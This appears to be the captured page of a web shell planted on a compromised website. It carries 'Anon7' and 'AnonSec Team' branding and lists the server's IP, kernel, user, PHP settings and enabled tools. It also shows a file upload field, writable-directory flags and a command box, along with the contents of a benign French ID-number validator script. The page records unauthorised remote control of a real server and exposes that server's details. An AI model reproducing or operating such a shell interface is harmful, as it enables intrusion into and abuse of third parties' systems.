NG1NDEX
Server IP : 150.95.80.236  /  Your IP : 18.226.93.104
Web Server : Apache
System : Linux host-150-95-80-236 3.10.0-1160.105.1.el7.x86_64 #1 SMP Thu Dec 7 15:39:45 UTC 2023 x86_64
User : social-telecare ( 10000)
PHP Version : 7.4.33
Disable Function : opcache_get_status
MySQL : OFF  |  cURL : ON  |  WGET : OFF  |  Perl : OFF  |  Python : OFF  |  Sudo : OFF  |  Pkexec : OFF
Directory :  /var/www/vhosts/pcu.in.th/uat.pcu.in.th/assets/plugins/formvalidation/dist/es6/validators/id/

Upload File :
current_dir [ Writeable ] document_root [ Writeable ]

 

Command :


[ HOME SHELL ]     

Current File : /var/www/vhosts/pcu.in.th/uat.pcu.in.th/assets/plugins/formvalidation/dist/es6/validators/id/frId.js
export default function t(t){let s=t.toUpperCase();if(!/^(1|2)\d{2}\d{2}(\d{2}|\d[A-Z]|\d{3})\d{2,3}\d{3}\d{2}$/.test(s)){return{meta:{},valid:false}}const e=s.substr(5,2);switch(true){case/^\d{2}$/.test(e):s=t;break;case e==="2A":s=`${t.substr(0,5)}19${t.substr(7)}`;break;case e==="2B":s=`${t.substr(0,5)}18${t.substr(7)}`;break;default:return{meta:{},valid:false}}const r=97-parseInt(s.substr(0,13),10)%97;const a=r<10?`0${r}`:`${r}`;return{meta:{},valid:a===s.substr(13)}}

Anon7 - 2022
AnonSec Team